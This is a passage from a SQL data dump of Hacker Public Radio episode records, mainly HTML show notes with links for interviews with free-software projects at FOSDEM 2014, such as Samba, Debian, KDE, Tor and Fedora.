project.\r\n</p>\r\n<blockquote>\r\nThe Open Source Geospatial Foundation<br />\r\nOSGeo was created to support the collaborative development of open source geospatial software, and promote its widespread use. Join us by signing up to our mailing lists or check out the Getting Started page to become more involved.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.osgeo.org/\">https://www.osgeo.org/</a>\r\n</p>\r\n\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0055872.jpg\" alt=\"\" /><br />Dirk Frigne and Anne Ghisla</p>\r\n\r\n<h3>00:08:29 Geomajas</h3>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0057664.jpg\" alt=\"\" /><br />Sample folders at the booth</p>\r\n<p>\r\nFollowing on we talk to Dirk Frigne\r\n</p>\r\n<blockquote>\r\nWhat is Geomajas?<br />\r\nGeomajas is an enterprise-ready open source GIS framework for the web. It has client-server integration for displaying and editing of geographic data.<br />\r\nGeomajas has integrated security and is endlessly scalable. It is compliant with OGC standards such as WMS, WFS, etc and also supports spatial databases.<br />\r\nIt integrates with your system and provides out-of-the-box functionality through plug-ins. By leveraging GWT on the client, development is all-Java making it easier and more efficient for your team.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://geomajas.org/\">https://geomajas.org/</a>\r\n</p>\r\n\r\n<h3>00:16:09 OpenStreetMap</h3>\r\n<p>\r\nLast in the mapping trio we speak to Gaël Musquet, président d\'OpenStreetMap France.\r\n</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0059584.jpg\" alt=\"\" /><br />Open Street Map demos Sat devices</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0060928.jpg\" alt=\"\" /><br />The tuner referred to in the interview</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0062784.jpg\" alt=\"\" /><br />The pc referred to in the interview</p>\r\n<blockquote>\r\nOpenStreetMap powers map data on hundreds of web sites, mobile apps, and hardware devices. OpenStreetMap is built by a community of mappers that contribute and maintain data about roads, trails, cafés, railway stations, and much more, all over the world.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.openstreetmap.org/about\">https://www.openstreetmap.org/about</a><br />\r\n<a href=\"https://learnosm.org/en/\">https://learnosm.org/en/</a>\r\n</p>\r\n\r\n<h3>00:39:46 Libre Graphics magazine</h3>\r\n<p>\r\nChanging the pace from mapping we get to talk with ginger \"all-lower-case\" coons :) about producing the Libre Graphics magazine using all Free Software\r\n</p>\r\n<blockquote>\r\nA Libre Graphics Magazine is long overdue. In a market dominated by magazines devoted to design discourse built around proprietary tools and the latest computer graphics tricks and techniques, users of Libre Graphics software are underserved and unrecognized. We know that these users exist, both professionally and as hobbyists. We know this because we are they. We are graphic designers, media artists, photographers and web designers. We use Libre Graphics software, quietly and without regard. Our peers, used to proprietary alternatives, question our choice of tools. Our work, when executed well, is indistinguishable from work produced by more traditional means. Thus, our choices are invisible, unless we make an issue of them.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://libregraphicsmag.com\">https://libregraphicsmag.com</a>\r\n</p>\r\n\r\n<h3>00:45:18 openSUSE</h3>\r\n<p>\r\nNext we talk to Richard Brown one of the board members of the openSUSE team.\r\n</p>\r\n<blockquote>\r\nopenSUSE is a free and Linux-based operating system for your PC, Laptop or Server. You can surf the web, manage your e-mails and photos, do office work, play videos or music and have a lot of fun!\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.opensuse.org/en/\">https://www.opensuse.org/en/</a><br />\r\n<a href=\"https://sysrich.co.uk/\">https://sysrich.co.uk/</a><br />\r\n<a href=\"https://en.opensuse.org/openSUSE:Board\">https://en.opensuse.org/openSUSE:Board</a>\r\n</p>\r\n\r\n<h3>00:56:48 The Debian Project</h3>\r\n<p>\r\nDebian developer and T-Shirt salesman, Joost van Baal-Ilić takes some time away from the booth to give us the run down on Debian.\r\n</p>\r\n<blockquote>\r\nThe Debian Project is an association of individuals who have made common cause to create a free operating system. This operating system that we have created is called Debian.\r\n\r\nAn operating system is the set of basic programs and utilities that make your computer run. At the core of an operating system is the kernel. The kernel is the most fundamental program on the computer and does all the basic housekeeping and lets you start other programs.\r\n\r\nDebian systems currently use the Linux kernel or the FreeBSD kernel. Linux is a piece of software started by Linus Torvalds and supported by thousands of programmers worldwide. FreeBSD is an operating system including a kernel and other software.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.debian.org/\">https://www.debian.org/</a><br />\r\n<a href=\"https://ad1810.com/\">https://ad1810.com/</a>\r\n</p>\r\n\r\n<h3>01:08:04 HelenOS</h3>\r\n<p>\r\nGoogle Summer of Code mentors Martin Děcký, and Jakub Jermář talk to us about HelenOS, a project which has mentored GSOC student coders.\r\n</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0064960.jpg\" alt=\"\" /><br />Martin Děcký, and Jakub Jermář</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/fosdem2014/t0066368.jpg\" alt=\"\" /><br />HelenOS Screen Shot</p>\r\n\r\n<blockquote>\r\nHelenOS is an operating system based on a multiserver microkernel design. Rather sooner than later, HelenOS will become a complete and usable modern operating system, offering room for experimenting and research. HelenOS uses its own microkernel written from scratch and supports SMP, multitasking and multithreading on both 32-bit and 64-bit, little-endian and big-endian processor architectures, among which are AMD64/EM64T (x86-64), ARM, IA-32, IA-64 (Itanium), 32-bit MIPS, 32-bit PowerPC and SPARC V9. Thanks to the relatively high number of supported architectures and suitable design, HelenOS is very portable. On top of the microkernel, HelenOS provides services such as file systems, networking, device drivers and user interface. Most of these services are composed of multiple independent server processes, which makes HelenOS one of the most modular operating systems.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.helenos.org/\">https://www.helenos.org/</a><br />\r\n<a href=\"https://jakubsuniversalblog.blogspot.nl/\">https://jakubsuniversalblog.blogspot.nl/</a><br />\r\n<a href=\"https://twitter.com/mdecky\">https://twitter.com/mdecky</a>\r\n</p>\r\n\r\n<h3>01:23:28 CAcert</h3>\r\n<p>\r\nI took Michael Tänzer away from checking passports and drivers licenses to explain to us what\'s the idea behind CACert.org\r\n</p>\r\n<blockquote>\r\nCAcert.org is a community driven Certificate Authority that issues certificates to the public at large for free. CAcert\'s goal is to promote awareness and education on computer security through the use of encryption, specifically with the X.509 family of standards. We have compiled a document base (Wiki) that has helpful hints and tips on setting up encryption with common software, and general information about Public Key Infrastructures (PKI). CAcert Inc. is a non-profit association, incorporated in New South Wales, Australia.\r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.cacert.org/\">https://www.cacert.org/</a>\r\n</p>\r\n\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name                               : Free Software Song\r\nPerformer                                : Fenster\r\nRecorded date                            : 2002\r\nCopyright                                : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>\r\n',30,78,1,'CC-BY-SA','FOSDEM,2014,interviews',0,1622,1),
(1442,'2014-02-11','Google Summer of Code',1318,'Google Summer of Code is a global program that pays students to write code for open source projects','<p>\r\n<strong>\r\n[GSoC 2014] Mentoring organization application deadline. Fri Feb 14, 2014 11am – 12pm Pacific Time\r\n</strong>\r\n</p>\r\n<p>Google Summer of Code is a global program that offers students stipends to write code for open source projects. We have worked with the open source community to identify and fund exciting projects for the upcoming summer.</p>\r\n<p>\r\nFor more information see: <a href=\"https://www.google-melange.com/\">https://www.google-melange.com/</a>\r\n</p>\r\n        ',161,0,1,'CC-BY-SA','Google,GSoC,Summer of Code',0,1363,1),
(1448,'2014-02-19','Intro to cable cutting',1633,'Moving away from Cable or Satellite TV','<p>\r\nMy Antenna - LAVA HD2605 Motorized Outdoor HDTV Antenna\r\n</p>',190,0,0,'CC-BY-SA','Cable Cutting, cord cutting',0,1516,1),
(1451,'2014-02-24','Jeremy Allison ~ the SAMBA project',4462,'FOSDEM 2014 Report, part 2','<h1>HPR Coverage at FOSDEM 2014</h1>\n <p>The following are a series of interviews recorded at FOSDEM 2014.</p>\n <blockquote>FOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.</blockquote>\n <p>For more information see the website <a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>, where you can watch a recording of the many talks <a href=\"https://video.fosdem.org/2014/\">https://video.fosdem.org/2014/</a></p>\n <h2>Jeremy Allison ~ the SAMBA project</h2><img alt=\"Ken Fallon interviews Jeremy Allison\" src=\"https://hackerpublicradio.org/eps/hpr1451.jpg\" /><p>For some reason my Zoom H2 failed to record this interview. Based on past experience I\'m more inclined to blame the operator than the device so the audio is taken from the backup recording device, a Sansa Clip. As we say at HPR, <strong>any recording is better than no recording</strong> so any strange audio artefacts are a result of that.</p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/Zoom_H2\">https://en.wikipedia.org/wiki/Zoom_H2</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/SanDisk_Sansa#Sansa_Clip\">https://en.wikipedia.org/wiki/SanDisk_Sansa#Sansa_Clip</a></li>\n </ul>\n <p>From wikipedia:<br /><em>Jeremy Allison is a computer programmer known for his contributions to the free software community, notably to Samba, a re-implementation of SMB/CIFS networking protocol, released under the GNU General Public License.</em></p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/Jeremy_Allison\">https://en.wikipedia.org/wiki/Jeremy_Allison</a></li>\n  <li><a href=\"https://www.samba.org/~jra/\">https://www.samba.org/~jra/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/PDP-11\">https://en.wikipedia.org/wiki/PDP-11</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Acorn_Atom\">https://en.wikipedia.org/wiki/Acorn_Atom</a></li>\n  <li><a href=\"https://en.wikibooks.org/wiki/6502_Assembly\">https://en.wikibooks.org/wiki/6502_Assembly</a></li>\n  <li>Linus Torvalds interviewed by Jeremy Allison: <a href=\"https://www.youtube.com/watch?v=05pgVwzAZ6k\">https://www.youtube.com/watch?v=05pgVwzAZ6k</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Sinclair_QL\">https://en.wikipedia.org/wiki/Sinclair_QL</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Graphical_Environment_Manager\">https://en.wikipedia.org/wiki/Graphical_Environment_Manager</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Motorola_68020\">https://en.wikipedia.org/wiki/Motorola_68020</a></li>\n  <li><a href=\"https://www.sun3arc.org/text/general.phtml\">https://www.sun3arc.org/text/general.phtml</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Amiga\">https://en.wikipedia.org/wiki/Amiga</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Sun_Microsystems\">https://en.wikipedia.org/wiki/Sun_Microsystems</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/GNU_Compiler_Collection\">https://en.wikipedia.org/wiki/GNU_Compiler_Collection</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Open_Windows\">https://en.wikipedia.org/wiki/Open_Windows</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Capital_punishment_in_the_United_States\">https://en.wikipedia.org/wiki/Capital_punishment_in_the_United_States</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Vantive\">https://en.wikipedia.org/wiki/Vantive</a></li>\n  <li><a href=\"https://www.samba.org/\">https://www.samba.org/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Samba_(software)\">https://en.wikipedia.org/wiki/Samba_(software)</a></li>\n  <li><a href=\"https://www.cs.rit.edu/~hpb/Man/_Man_SunOS_4.1.3_html/html4/pcfs.4s.html\">https://www.cs.rit.edu/~hpb/Man/_Man_SunOS_4.1.3_html/html4/pcfs.4s.html</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Andrew_Tridgell\">https://en.wikipedia.org/wiki/Andrew_Tridgell</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Windows_nt\">https://en.wikipedia.org/wiki/Windows_nt</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Gpl\">https://en.wikipedia.org/wiki/Gpl</a></li>\n  <li><a href=\"https://www.iss.net/security_center/advice/Services/SunRPC/default.htm\">https://www.iss.net/security_center/advice/Services/SunRPC/default.htm</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Cygnus_Solutions\">https://en.wikipedia.org/wiki/Cygnus_Solutions</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Cygwin\">https://en.wikipedia.org/wiki/Cygwin</a></li>\n  <li>IBM to Acquire Whistle Communications: <a href=\"https://www-03.ibm.com/press/us/en/pressrelease/2155.wss\">https://www-03.ibm.com/press/us/en/pressrelease/2155.wss</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Cobalt_Networks\">https://en.wikipedia.org/wiki/Cobalt_Networks</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Cobalt_Qube\">https://en.wikipedia.org/wiki/Cobalt_Qube</a></li>\n  <li><a href=\"https://www.sgi.com/\">https://www.sgi.com/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Silicon_Graphics\">https://en.wikipedia.org/wiki/Silicon_Graphics</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Va_linux\">https://en.wikipedia.org/wiki/Va_linux</a></li>\n </ul><img alt=\"LNUX stock price (9 December 1999 through 9 December 2000)\" width=\"600\" src=\"https://upload.wikimedia.org/wikipedia/commons/2/25/LNUX.png\" /><ul>\n  <li>Hewlett-Packard official website: <a href=\"https://www.hp.com\">https://www.hp.com</a></li>\n  <li>Hewlett-Packard on Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Hewlett-Packard\"></a>https://en.wikipedia.org/wiki/Hewlett-Packard</li>\n  <li>Novell official website: <a href=\"https://www.novell.com\">https://www.novell.com</a></li>\n  <li>Novell on Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Novell\">https://en.wikipedia.org/wiki/Novell</a></li>\n  <li>SUSE Desktop: <a href=\"https://www.suse.com/products/desktop/\">https://www.suse.com/products/desktop/</a></li>\n  <li>Microsoft &amp; Novell Interoperability Collaboration: <a href=\"https://www.microsoft.com/en-us/legal/IntellectualProperty/IPLicensing/CustomerCovenant/MSNovellCollab.aspx\">https://www.microsoft.com/en-us/legal/IntellectualProperty/IPLicensing/CustomerCovenant/MSNovellCollab.aspx</a></li>\n  <li>The Google Hiring Process: <a href=\"https://www.google.co.uk/about/jobs/lifeatgoogle/hiringprocess/\">https://www.google.co.uk/about/jobs/lifeatgoogle/hiringprocess/</a></li>\n  <li>European Commision vs Microsoft: chronology of the case: <a href=\"https://fsfe.org/activities/ms-vs-eu/timeline.en.html\">https://fsfe.org/activities/ms-vs-eu/timeline.en.html</a></li>\n  <li>GPL on Wikipedia: <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">https://en.wikipedia.org/wiki/GNU_General_Public_License</a></li>\n  <li>CIFS, Microsoft and the Samba Team: <a href=\"https://www.samba.org/samba/ms_license.html\">https://www.samba.org/samba/ms_license.html</a></li>\n  <li><a href=\"https://golang.org/\">https://golang.org/</a></li>\n  <li><a href=\"https://en.wikipedia.org/wiki/Go_(programming_language)\">https://en.wikipedia.org/wiki/Go_(programming_language)</a></li>\n  <li><a href=\"https://code.google.com/p/go/\">https://code.google.com/p/go/</a></li>\n  <li><a href=\"https://lists.samba.org/archive/samba-technical/2014-January/097186.html\">https://lists.samba.org/archive/samba-technical/2014-January/097186.html</a></li>\n  <li>Bug 2662 - revamped directory handling code is not 64bit clean: <a href=\"https://bugzilla.samba.org/show_bug.cgi?id=2662\">https://bugzilla.samba.org/show_bug.cgi?id=2662</a></li>\n  <li>GPLv3: <a href=\"https://gplv3.fsf.org/\">https://gplv3.fsf.org/</a></li>\n  <li>Jeremy Allison on why Samba switched to GPLv3: <a href=\"https://www.fsf.org/blogs/licensing/jeremy-allison-on-why-samba-switched-to-gplv3\">https://www.fsf.org/blogs/licensing/jeremy-allison-on-why-samba-switched-to-gplv3</a></li>\n  <li>Star Fleet Scotty uses a mouse <a href=\"https://www.youtube.com/watch?v=hShY6xZWVGE\">https://www.youtube.com/watch?v=hShY6xZWVGE</a></li>\n </ul>\n <p><img alt=\"\" src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0073664.jpg\" /><br /> Jeremy working the booth.</p>',30,0,1,'CC-BY-SA','FOSDEM,2014,interview,Jeremy Allison,SAMBA',0,1560,1),
(1452,'2014-02-25','HPR Coverage at FOSDEM 2014 Part 3',8189,'FOSDEM 2014 Report, part 3','<h1>HPR Coverage at FOSDEM 2014</h1>\r\n<p>\r\nThe following are a series of interviews recorded at FOSDEM 2014.\r\n</p>\r\n<blockquote>\r\nFOSDEM is a free event that offers open source communities a place to meet, share ideas and collaborate.\r\n</blockquote>\r\n<p>\r\nFor more information see the website <a href=\"https://fosdem.org/2014/\">https://fosdem.org/2014/</a>, where you can watch a recording of the many talks <a href=\"https://video.fosdem.org/2014/\">https://video.fosdem.org/2014/</a>\r\n</p>\r\n\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0076928.jpg\" alt=\"\" /><br />A properly stocked fridge.</p>\r\n\r\n<h2>Day 1 Part 3, Day 2 Part 1</h2>\r\n\r\n<h3>00:00:30 The TOR Project</h3>\r\n<p>\r\nThe next on our list of booths to visit was the Tor project at the Mozilla stand.\r\n</p>\r\n<blockquote>\r\nTor is free software and an open network that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://www.torproject.org/\">https://www.torproject.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Tor_(anonymity_network)\">https://en.wikipedia.org/wiki/Tor_(anonymity_network)</a></li>\r\n</ul>\r\n\r\n<h3>00:13:22 EPFSUG, Free Software User Group <em>inside</em> the European Parliament</h3>\r\n<p>\r\nNext we spoke to the Erik Josefsson about the need for as many people as possible to register as a Supporter of Free Software on the spfsug website. Please take some time to do that now.\r\n</p>\r\n<blockquote>\r\n<p>The European Parliament Free Software User Group is an open community of staff, assistants and Members of the European Parliament, and of supporters from the free software community. Its goals are to:</p>\r\n<ul>\r\n<li>Assist people interested in using free software in the European Parliament</li>\r\n<li>Drive adoption of free software in the European Parliament\'s information infrastructure</li>\r\n<li>Push for use of open standards, to ensure equal access for citizens using free software</li>\r\n<li>Work in cooperation with like-minded groups in Europe and around the world</li>\r\n</ul>\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://epfsug.eu/\">https://epfsug.eu/</a></li>\r\n<li><a href=\"https://www.greens-efa.eu/36-details/josefsson-erik-138.html\">https://www.greens-efa.eu/36-details/josefsson-erik-138.html</a></li>\r\n<li>Debian for use in Parliaments: <a href=\"https://wiki.debian.org/DebianParl\">https://wiki.debian.org/DebianParl</a></li>\r\n<li><a href=\"https://epfsug.eu/become-a-member-or-a-supporter\">https://epfsug.eu/become-a-member-or-a-supporter</a></li>\r\n</ul>\r\n\r\n<h3>00:27:07 KDE</h3>\r\n<p>\r\nOver at the KDE booth, I managed to track down Jonathan Riddell about the KDE project. From Wikipedia:\r\n</p>\r\n<blockquote>\r\nKDE (/?ke?di??i?/) is an international free software community producing an integrated set of cross-platform applications designed to run on Linux, FreeBSD, Solaris, Microsoft Windows, and OS X systems. It is known for its Plasma Desktop, a desktop environment provided as the default working environment on many Linux distributions, such as openSUSE, Mageia and Kubuntu and is default desktop environment on PC-BSD a BSD operating system.<br />\r\n\r\nThe goal of the community is to provide basic desktop functions and applications for daily needs as well as tools and documentation for developers to write stand-alone applications for the system. In this regard, the KDE project serves as an umbrella project for many standalone applications and smaller projects that are based on KDE technology. These include Calligra Suite, digiKam, Rekonq, K3b, and many others.<br />\r\n\r\nKDE software is based on the Qt framework. The original GPL version of this toolkit only existed for the X11 platform, but with the release of Qt 4, LGPL versions are available for all platforms. This allows KDE software based on Qt 4 to also be distributed to Microsoft Windows and OS X.\r\n</blockquote>\r\n<p>\r\nAbout KDE\r\n</p>\r\n<blockquote>\r\nThe KDE Community is an international technology team dedicated to creating a free and user-friendly computing experience, offering an advanced graphical desktop, a wide variety of applications for communication, work, education and entertainment and a platform to easily build new applications upon. We have a strong focus on finding innovative solutions to old and new problems, creating a vibrant atmosphere open for experimentation.\r\n</blockquote>\r\n<p>\r\nAbout Kubuntu\r\n</p>\r\n<blockquote>\r\nKubuntu is an operating system built by a worldwide team of expert developers. It contains all the applications you need: a web browser, an office suite, media apps, an instant messaging client and many more. Kubuntu is an open-source alternative to Windows and Office. \r\n</blockquote>\r\n\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://jriddell.org/\">https://jriddell.org/</a></li>\r\n<li><a href=\"https://wiki.debian.org/Utnubu/AboutUbuntu/JonathanRiddell\">https://wiki.debian.org/Utnubu/AboutUbuntu/JonathanRiddell</a></li>\r\n<li><a href=\"https://wiki.ubuntu.com/JonathanRiddell\">https://wiki.ubuntu.com/JonathanRiddell</a></li>\r\n<li><a href=\"https://www.kde.org/\">https://www.kde.org/</a></li>\r\n<li><a href=\"https://www.kubuntu.org/\">https://www.kubuntu.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/KDE\">https://en.wikipedia.org/wiki/KDE</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Blue_Systems\">https://en.wikipedia.org/wiki/Blue_Systems</a></li>\r\n<li><a href=\"https://www.blue-systems.com/\">https://www.blue-systems.com/</a></li>\r\n</ul>\r\n\r\n<h3>00:50:13 Drupal</h3>\r\n<p>\r\nBumping into old friends is all part of the FOSDEM experience. Never one for missing an opertunity to turn a chat into an episode, I catch up with Paul Krischer, who tells us about his work with Drupal. Keep your diary clear for drupalcon Amsterdam, which will be held 29 SEP - 03 OCT.\r\n</p>\r\n<blockquote>\r\nDrupal is an open source content management platform powering millions of websites and applications. It�s built, used, and supported by an active and diverse community of people around the world.\r\n</blockquote>\r\n\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://drupal.org/\">https://drupal.org/</a></li>\r\n<li><a href=\"https://drupal.org/drupal-8.0\">https://drupal.org/drupal-8.0</a></li>\r\n<li><a href=\"https://amsterdam2014.drupal.org/\">https://amsterdam2014.drupal.org/</a></li>\r\n<li><a href=\"https://acquia.com/\">https://acquia.com/</a></li>\r\n</ul>\r\n\r\n<h3>00:55:00 Mozilla</h3>\r\n<p>\r\nAfter a long night \"discovering\" Brussels using the public transport system, we track down Brian King the European Community Builder for Mozilla. We talk about the Mozilla phone. \r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0082240.jpg\" alt=\"\" /><br />The mozilla team.</p>\r\n<blockquote>\r\nAt Mozilla, we�re a global community of technologists, thinkers and builders working together to keep the Internet alive and accessible, so people worldwide can be informed contributors and creators of the Web. We believe this act of human collaboration across an open platform is essential to individual growth and our collective future.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://reps.mozilla.org/u/brianking/\">https://reps.mozilla.org/u/brianking/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/\">https://www.mozilla.org/en-US/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/os/\">https://www.mozilla.org/en-US/firefox/os/</a></li>\r\n<li><a href=\"https://www.mozilla.org/en-US/firefox/new/\">https://www.mozilla.org/en-US/firefox/new/</a></li>\r\n</ul>\r\n\r\n<h3>01:07:09 GNOME</h3>\r\n<p>\r\nWe talk to Tobias M�ller who is on the board of directors for the GNOME project.\r\n</p>\r\n<blockquote>\r\nGNOME 3 is an easy and elegant way to use your computer. It is designed to put you in control and bring freedom to everybody. GNOME 3 is developed by the GNOME community, a diverse, international group of contributors that is supported by an independent, non-profit foundation.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://wiki.gnome.org/TobiasMueller\">https://wiki.gnome.org/TobiasMueller</a></li>\r\n<li><a href=\"https://www.gnome.org/\">https://www.gnome.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GNOME\">https://en.wikipedia.org/wiki/GNOME</a></li>\r\n</ul>\r\n\r\n<h3>01:12:52 CentOS</h3>\r\n<p>\r\nStarting a series of RedHat interviews we interview Jim Perrin Governing Board member of the CentOS project.\r\n</p>\r\n<audio controls preload=\"none\">\r\n  <source src=\"eps/hpr1452.ogg#t=01:12:52,01:48:17\" type=\"audio/ogg\" >\r\n  <source src=\"eps/hpr1452.mp3#t=01:12:52,01:48:17\" type=\"audio/mpeg\" >\r\n</audio>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0087872.jpg\" alt=\"\" /><br />The CentOS trio.</p>\r\n<blockquote>\r\nThe CentOS Linux distribution is a stable, predictable, manageable and reproduceable platform derived from the sources of Red Hat Enterprise Linux (RHEL). We are now looking to expand on that by creating the resources needed by other communities to come together and be able to buld on the CentOS Linux platform. And today we start the process by delivering a clear governance model, increased transparency and access. In the coming weeks we aim to publish our own roadmap that includes variants of the core CentOS Linux.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://wiki.centos.org/JimPerrin\">https://wiki.centos.org/JimPerrin</a></li>\r\n<li><a href=\"https://www.centos.org/about/\">https://www.centos.org/about/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CentOS\">https://en.wikipedia.org/wiki/CentOS</a></li>\r\n</ul>\r\n\r\n<h3>01:23:08 RedHat: Foreman, oVirt, and Open Stack</h3>\r\n<p>\r\nDaniel Lobato and Doran Fedu help me understand what Foreman, oVirt, and OpenStack is all about.\r\n</p>\r\n<h4>Foreman</h4>\r\n<blockquote>\r\nForeman is an open source project that gives system administrators the power to easily automate repetitive tasks, quickly deploy applications, and proactively manage servers, on-premises or in the cloud. (From Wikipedia) Foreman (also known as The Foreman) is a complete life cycle systems management tool for physical and virtual servers with deep integration to configuration management software, specifically Puppet. The Foreman provides provisioning on bare-metal (through managed DHCP, DNS, TFTP, and PXE-based unattended installations), virtualization and cloud. The Foreman provides comprehensive, auditable interaction facilities including a web frontend, command line interface and robust, REST API.\r\n</blockquote>\r\n<h4>oVirt</h4>\r\n<blockquote>\r\noVirt manages virtual machines, storage and virtualized networks. (From Wikipedia) oVirt is a free platform virtualization management web application community project started by Red Hat. oVirt is built on libvirt which could allow it to manage virtual machines hosted on any supported backend, including KVM, Xen and VirtualBox. However, oVirt is currently focused on KVM alone. oVirt is an open source software with backing from Red Hat and it is the base for Red Hat Enterprise Virtualization.\r\n</blockquote>\r\n<h4>OpenStack</h4>\r\n<blockquote>\r\nOpenStack is a cloud operating system that controls large pools of compute, storage, and networking resources throughout a datacenter, all managed through a dashboard that gives administrators control while empowering their users to provision resources through a web interface.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://gb.redhat.com/\">https://gb.redhat.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Red_Hat\">https://en.wikipedia.org/wiki/Red_Hat</a></li>\r\n<li><a href=\"https://openstack.redhat.com/Main_Page\">https://openstack.redhat.com/Main_Page</a></li>\r\n<li><a href=\"https://theforeman.org/\">https://theforeman.org/</a></li>\r\n<li><a href=\"https://www.daniellobato.me/\">https://www.daniellobato.me/</a></li>\r\n<li><a href=\"https://www.ovirt.org/Home\">https://www.ovirt.org/Home</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Foreman_(software)\">https://en.wikipedia.org/wiki/Foreman_(software)</a></li>\r\n</ul>\r\n\r\n<h3>01:48:17 Fedora</h3>\r\n<p>\r\nCompleting (for the most part) the RedHat thread we head over to the Fedora Project booth and talk to Ji?� Eischmann and Jaroslav ?ezn�k. Ji?� is the chair of the Fedora Ambassador Steering Committee, and works for RedHat as a Community Manager. Jaroslav is the Fedora Program Manager.\r\n</p>\r\n<p><img src=\"https://www.hackerpublicradio.org/eps/fosdem2014/t0089088.jpg\" alt=\"\" /><br />Fedora Friends</p>\r\n<blockquote>\r\nFedora is a fast, stable, and powerful operating system for everyday use built by a worldwide community of friends. It\'s completely free to use, study, and share.\r\n</blockquote>\r\n<h4>Links</h4>\r\n<ul>\r\n<li><a href=\"https://fedoraproject.org/wiki/JaroslavReznik\">https://fedoraproject.org/wiki/JaroslavReznik</a></li>\r\n<li><a href=\"https://fedoraproject.org/wiki/User:Eischmann\">https://fedoraproject.org/wiki/User:Eischmann</a></li>\r\n</ul>\r\n<h2>Music</h2>\r\n<pre>\r\nTrack name : Free Software Song\r\nPerformer : Fenster\r\nRecorded date : 2002\r\nCopyright : Copyright (C) 2002, \r\nFenster LLC. Verbatim copying of this entire recording is permitted in any medium, \r\nprovided this notice is preserved. \r\nPerformers: \r\nPaul Robinson (vocals), \r\nRoman Kravec (guitar), \r\nEd D\'Angelo (bass), \r\nDave Newman (drums), \r\nBrian Yarbrough (trumpet), \r\nTony Moore (trumpet). \r\nFree software info at www.gnu.org speeches at audio-video.gnu.org/audio\r\n</pre>',30,78,1,'CC-BY-SA','FOSDEM,2014,interviews',0,1565,1),
